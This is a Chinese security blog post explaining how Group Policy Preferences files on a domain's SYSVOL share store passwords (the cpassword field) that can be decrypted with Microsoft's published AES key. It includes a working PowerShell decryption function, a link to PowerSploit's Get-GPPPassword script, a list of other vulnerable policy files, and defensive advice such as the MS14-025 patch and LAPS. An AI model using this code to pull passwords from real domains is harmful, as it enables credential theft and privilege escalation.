欢迎光临
我们一直在努力

域渗透——利用SYSVOL还原组策略中保存的密码

0x00 前言


在之前的文章《域渗透——Local Administrator Password Solution》对LAPS的利用进行了分析。使用LAPS最大的优点是能够确保每台域内主机有不同的密码,并且定期更换。

那么,如果域内未配置LAPS,如何批量设置域内主机的本地管理员密码呢?这其中又存在哪些可被利用的地方呢?

本文将要介绍如何利用SYSVOL还原组策略中保存的密码,分析技术细节,最后给出防御建议

0x01 简介


本文将要介绍以下内容:

  • 域内共享文件夹/SYSVOL介绍
  • 域管理员批量修改域内主机本地管理员密码的方法
  • 组策略中可被利用的地方
  • 实际测试
  • 防御建议

0x02 域内共享文件夹/SYSVOL介绍


在域中,存在一个默认的共享路径:

//<DOMAIN>/SYSVOL/<DOMAIN>/

所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

例如,测试主机所在域为test.local,可访问共享文件夹

//test.local/SYSVOL/test.local

,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

0x03 域管理员批量修改域内主机本地管理员密码的方法


1、测试Server 2003系统

对于server2003,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式

给出一个修改密码的vbs脚本(实现方式不唯一),代码如下:


strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo

这种实现方式,最大的弊端在于修改后的密码会明文保存在vbs脚本中

而该vbs脚本通常会保存在共享文件夹/SYSVOL

这就存在一个隐患:

任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码

2、测试Server 2008系统

对于server 2008,添加了新功能,可使用Group Policy Preferences配置组策略批量修改用户本地管理员密码,具体方法如下:

开始-管理工具-组策略管理

选择域test.local,右键,选中在这个域中创建GPO并在此处链接,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

设置名称为test6

test6-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

更新,administrator(内置),设置密码,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

委派,设置权限

在详细一栏,可看到该策略对应的ID为

{E6424F10-C44B-4C45-8527-740189CBF60E}

如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

至此,组策略配置完成,域内主机重新登录,即可应用此策略

在共享文件夹/SYSVOL中可看到组策略对应ID的文件夹,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

由于我们刚刚修改了用户配置下的控制面板,所以在对应的文件夹下能找到配置文件Groups.xml,具体路径如下:

//test.local/SYSVOL/test.local/Policies/{E6424F10-C44B-4C45-8527-740189CBF60E}/User/Preferences/Groups

Groups.xml内容如下:


<span class="cp">&lt;?xml version="1.0" encoding="utf-8" ?&gt;</span>
- <span class="nt">&lt;Groups</span> <span class="na">clsid=</span><span class="s">"{3125E937-EB16-4b4c-9934-544FC6D24D26}"</span><span class="nt">&gt;</span>
- <span class="nt">&lt;User</span> <span class="na">clsid=</span><span class="s">"{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"</span> <span class="na">name=</span><span class="s">"Administrator (内置)"</span> <span class="na">image=</span><span class="s">"2"</span> <span class="na">changed=</span><span class="s">"2017-09-25 22:57:53"</span> <span class="na">uid=</span><span class="s">"{463245FF-08D3-4A28-95E7-42AB416DC508}"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;Properties</span> <span class="na">action=</span><span class="s">"U"</span> <span class="na">newName=</span><span class="s">""</span> <span class="na">fullName=</span><span class="s">""</span> <span class="na">description=</span><span class="s">""</span> <span class="na">cpassword=</span><span class="s">"9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"</span> <span class="na">changeLogon=</span><span class="s">"0"</span> <span class="na">noChange=</span><span class="s">"0"</span> <span class="na">neverExpires=</span><span class="s">"0"</span> <span class="na">acctDisabled=</span><span class="s">"0"</span> <span class="na">subAuthority=</span><span class="s">"RID_ADMIN"</span> <span class="na">userName=</span><span class="s">"Administrator (内置)"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/User&gt;</span>
  <span class="nt">&lt;/Groups&gt;</span>

如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

值得注意的是其中的cpassword项,保存的是加密后的内容

"9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"

加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:

https://msdn.microsoft.com/en-us/library/cc422924.aspx

借助该私钥,我们就能还原出明文

还原方式可采用Chris Campbell @obscuresec开源的powershell脚本,地址如下:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

该脚本可在域内主机上执行,能够自动查询共享文件夹/SYSVOL中的文件,还原出所有明文密码

测试如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

当然,仅仅为了解密

cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"

,我们可以对以上powershell脚本的功能简化

简化代码如下:


function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)
       
        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
       
        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
       
        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length)
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor()
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
       
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }
   
    catch {Write-Error $Error[0]}
}  
Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"

还原出明文密码为domain123!,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

0x04 组策略中可被利用的地方


组策略中可被利用的地方不只在修改管理员密码的位置,还包括以下:

Services/Services.xml

  • http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)

ScheduledTasks/ScheduledTasks.xml

  • http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
  • http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
  • http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)

Printers/Printers.xml

  • http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)

Drives/Drives.xml

  • http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)

DataSources/DataSources.xml

  • http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)

注:

位置引用自https://webcache.googleusercontent.com/search?q=cache:MUNO5X9hSwUJ:rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html+&cd=6&hl=en&ct=clnk&gl=us

但是以上位置并不绝对,在配置时需要在组策略中填入用户名密码,对应的Groups.xml才会包含cpassword属性,才能用于还原明文

可以拿计划任务来举例,对应ScheduledTasks.xml

组策略配置的位置为:用户配置-首选项-控制面板设置-计划任务

如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

新建任务,需要选中运行身份,填入用户名和密码,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

否则,不包含cpassword属性,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

现在填入一个测试密码(密码为testsuccess!,假的),如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

对应ScheduledTasks.xml也会包含cpassword属性,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

使用powershell对其解密,还原出密码为testsuccess!

至此得出结论:

域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹/SYSVOL下,默认所有域内用户可访问,虽然被加密,但很容易被解密

这就造成了安全隐患,现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得,导致权限提升

为此,微软发布了补丁KB2962486,下载地址:

https://technet.microsoft.com/library/security/ms14-025

系统打了补丁后,组策略中无法设置用户名密码,如下图

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

2-1-3 域渗透——利用SYSVOL还原组策略中保存的密码

当然,共享文件夹/SYSVOL下的xml文件也就不再包含cpassword属性

注:

xml文件还是会和组策略保持同步

0x05 防御


结合攻击方法,可供选择的防御方法如下:

1、使用LAPS批量管理域内主机本地管理员帐户

2、域控安装补丁KB2962486

3、不在组策略中使用域控密码

4、设置共享文件夹/SYSVOL的访问权限

5、使用PsPasswd批量修改域内主机本地管理员密码

0x06 小结


本文介绍了如何利用SYSVOL还原组策略中保存的密码,给出了防御建议。如果域用户的本地管理员密码被攻击者获得,默认可被用于在域中远程登录。


LEAVE A REPLY

未经允许不得转载:杂术馆 » 域渗透——利用SYSVOL还原组策略中保存的密码
分享到: 更多 (0)